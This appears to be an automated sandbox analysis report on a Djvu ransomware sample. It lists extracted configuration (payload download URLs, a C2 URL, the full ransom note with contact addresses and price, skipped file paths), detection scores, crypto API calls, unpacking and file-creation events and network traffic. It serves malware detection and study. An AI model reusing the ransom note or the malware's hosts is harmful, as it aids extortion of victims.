Malware Configuration Extractor: Djvu {"Download URLs": ["http://colisumy.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/raud/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-e5pgPH03fe\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0793", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\"

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe

ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: n41dQbiw1Y.exe

ReversingLabs: Detection: 95%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: n41dQbiw1Y.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00411178 CryptDestroyHash,CryptReleaseContext,	1_2_00411178
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040E870
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	1_2_0040EA51
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040EAA0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	1_2_0040EC68
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	1_2_00410FC0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040E870
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040EAA0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	4_2_00410FC0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00411178 CryptDestroyHash,CryptReleaseContext,	4_2_00411178
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	4_2_0040EA51
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	4_2_0040EC68

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK	4_2_00419E70
Source: n41dQbiw1Y.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Unpacked PE file: 1.2.n41dQbiw1Y.exe.400000.0.unpack
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Unpacked PE file: 4.2.n41dQbiw1Y.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Unpacked PE file: 6.2.n41dQbiw1Y.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Unpacked PE file: 8.2.n41dQbiw1Y.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Unpacked PE file: 11.2.n41dQbiw1Y.exe.400000.0.unpack

Source: n41dQbiw1Y.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:57797 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\i source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\D source: n41dQbiw1Y.exe, 00000004.00000003.2507897466.000000000394A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ls\\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: n41dQbiw1Y.exe, 00000004.00000003.2473818043.00000000035B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2416435845.0000000003668000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415962079.000000000365A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425361424.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444253504.0000000003677000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425570761.0000000003670000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472270849.000000000367C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\he\* source: n41dQbiw1Y.exe, 00000004.00000003.2481841973.0000000003599000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2427178097.0000000003882000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2417020079.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424849270.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416623132.00000000034F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\*d source: n41dQbiw1Y.exe, 00000004.00000003.2416435845.0000000003668000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415962079.000000000365A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425361424.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444253504.0000000003677000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425570761.0000000003670000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472270849.000000000367C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\Q source: n41dQbiw1Y.exe, 00000004.00000003.2509182978.000000000366B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2504232733.00000000039E0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2509253380.0000000003A31000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\DVR\ source: n41dQbiw1Y.exe, 00000004.00000003.2427745703.000000000369B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424701758.000000000368C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\c source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ls\yewy\Y source: n41dQbiw1Y.exe, 00000004.00000003.2514495143.0000000003A51000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2529856853.0000000003A60000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2511916783.0000000003A40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\Q source: n41dQbiw1Y.exe, 00000004.00000003.2425095748.000000000300B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2417182398.0000000003010000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416256520.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Z source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.azhi> source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2504192573.0000000003004000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ate\ source: n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2504232733.00000000039E0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003A0B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ow\\ source: n41dQbiw1Y.exe, 00000004.00000003.2514495143.0000000003A51000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2529856853.0000000003A60000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2511916783.0000000003A40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.azhi source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003972000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2478629641.00000000039C7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2493971115.00000000039BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ H source: n41dQbiw1Y.exe, 00000004.00000003.2477445978.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473323826.0000000003985000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2482249490.0000000003955000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481338652.0000000003955000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\O source: n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2509605254.0000000003004000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508964259.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2385032697.0000000003034000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350312868.000000000303D000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386501404.000000000304B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\ source: n41dQbiw1Y.exe, 00000004.00000003.2385032697.0000000003034000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350312868.000000000303D000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386501404.000000000304B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\he\4 source: n41dQbiw1Y.exe, 00000004.00000003.2443091697.000000000359C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443862660.000000000359C000.00000004.00000020.00020000.00000000.sdmp
